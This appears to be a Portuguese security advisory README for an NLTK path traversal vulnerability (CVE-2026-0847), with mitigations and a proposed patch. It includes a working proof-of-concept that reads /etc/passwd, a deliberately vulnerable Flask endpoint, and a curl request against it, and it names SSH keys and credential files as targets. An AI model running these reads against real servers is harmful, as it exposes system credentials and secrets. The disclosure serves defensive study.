
Uma vulnerabilidade nas versões do NLTK até a 3.9.2 (inclusive) permite leitura arbitrária de arquivos via path traversal em várias classes CorpusReader, incluindo WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader.
| Campo | Detalhes |
|---|
| ID CVE | CVE-2026-0847 |
| Pacote | nltk (Natural Language Toolkit) |
| Repositório | PyPI |
| Versões Afetadas | <= 3.9.2 |
| Tipo de Vulnerabilidade | CWE-22: Path Traversal |
| Pontuação CVSS | 8.6 (Alta) |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
| Impacto na Confidencialidade | Alto |
| Impacto na Integridade | Baixo |
| Impacto na Disponibilidade | Baixo |
| Reportado em | 4 de dezembro de 2025 |
| CVE Publicado em | 4 de março de 2026 |
| Suportado por | Palo Alto Networks / Prisma AIRS |
| Status | Corrigido |
Várias classes CorpusReader na biblioteca NLTK aceitam argumentos de caminho de arquivo sem aplicar qualquer canonicalização de caminho, validação de lista de permissões ou restrições de sandbox. Quando um atacante controla o nome do arquivo do corpus ou a entrada de arquivo — um cenário comum em APIs de aprendizado de máquina, pipelines de PNL baseados em upload e serviços de chatbot — ele pode fornecer um caminho manipulado para percorrer a hierarquia de diretórios e ler arquivos arbitrários no servidor.
Esta vulnerabilidade é particularmente crítica em implantações em rede onde o NLTK processa caminhos de arquivo controlados pelo usuário, pois nenhuma autenticação ou privilégio é necessário para explorá-la.
| Classe | Arquivo | Status |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Vulnerável |
TaggedCorpusReader | tagged.py L1–L140 | Vulnerável |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Vulnerável |
| Outras classes usando o mesmo padrão base | — | Aguardando auditoria mais ampla |
Todas as três classes herdam o mesmo método inseguro CorpusReader.open(), que não realiza nenhuma restrição de caminho antes de resolver e ler o identificador de arquivo fornecido.
A exploração bem-sucedida desta vulnerabilidade pode resultar em:
/etc/passwd, /etc/shadow e /var/log/auth.log~/.ssh/id_rsa), arquivos .env, tokens de API e arquivos de credenciais em nuvem podem ser extraídosEsta informação é fornecida apenas para fins educacionais e defensivos. Não teste em sistemas que você não possui ou para os quais não tem autorização explícita para testar.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Saída (abreviada):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Um cenário realista onde o NLTK é exposto por meio de uma API HTTP:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Requisição do atacante:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Resultado: Conteúdo completo de /etc/passwd retornado ao atacante sem autenticação necessária.
A vulnerabilidade origina-se em CorpusReader.open(). O método resolve o fileid fornecido diretamente contra o caminho raiz configurado usando FileSystemPathPointer.join() sem realizar nenhuma das seguintes verificações:
..)Como FileSystemPathPointer pode ser inicializado com /, um atacante que controla o argumento do nome do arquivo tem acesso de leitura irrestrito a todo o sistema de arquivos.
Correção mínima proposta pelo pesquisador, a ser aplicada dentro de CorpusReader.open():
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
O PR de correção upstream está disponível em: https://github.com/nltk/nltk/pull/3479
| Ação | Detalhes |
|---|---|
| Atualizar NLTK | Atualizar para uma versão superior a 3.9.2 assim que um patch oficial for lançado |
| Validação de Entrada | Sanitizar e validar todos os valores de caminho de arquivo fornecidos pelo usuário antes de passá-los para qualquer classe CorpusReader do NLTK |
| Evitar Caminhos Controlados pelo Usuário | Não permitir que a entrada do usuário controle direta ou indiretamente o argumento fileids de qualquer CorpusReader |
| Menor Privilégio | Executar serviços baseados em NLTK sob uma conta de usuário restrita com acesso de leitura limitado apenas ao diretório do corpus |
| Contentorização | Isolar o serviço em um contêiner Docker ou chroot jail para limitar o raio de explosão de uma travessia bem-sucedida |
| Patch Ubuntu | Monitorar o Aviso de Segurança Ubuntu para atualizações de pacotes em nível de distribuição |
Atualizar via pip:
pip install --upgrade nltk
Verificar versão instalada:
python -c "import nltk; print(nltk.__version__)"
| Data | Evento |
|---|---|
| 4 de dezembro de 2025 | Vulnerabilidade reportada ao huntr.dev pelo pesquisador hyperps1 |
| Dezembro de 2025 | Equipe de mantenedores do NLTK notificada via huntr.dev |
| Janeiro de 2026 | Mantenedor do NLTK validou a vulnerabilidade; recompensa de divulgação concedida ao pesquisador |
| Janeiro de 2026 | CVE-2026-0847 atribuído |
| Fevereiro de 2026 | Aviso de pré-publicação de 48 horas enviado aos mantenedores do NLTK |
| 4 de março de 2026 | CVE publicado no NVD e huntr.dev |
| 5 de março de 2026 | Registro NVD modificado pela última vez |
| Recurso | Link |
|---|---|
| Entrada NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| Aviso de Segurança Ubuntu | https://ubuntu.com/security/CVE-2026-0847 |
| Registro CVE Oficial | https://cve.org/CVERecord?id=CVE-2026-0847 |
| Relatório huntr.dev | https://huntr.dev |
| Pull Request de Correção | https://github.com/nltk/nltk/pull/3479 |
| NLTK no PyPI | https://pypi.org/project/nltk/ |
| Path Traversal OWASP | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |
Este repositório documenta o CVE-2026-0847 estritamente para fins educacionais, de pesquisa e de segurança defensiva. O código de prova de conceito e os detalhes técnicos são fornecidos para auxiliar desenvolvedores, engenheiros de segurança e administradores de sistemas a entender, avaliar e remediar esta vulnerabilidade.
Qualquer uso desta informação para acessar sistemas sem autorização explícita é ilegal e antiético. O autor não assume nenhuma responsabilidade pelo uso indevido das informações contidas aqui.
Contribuidores @mohitf070304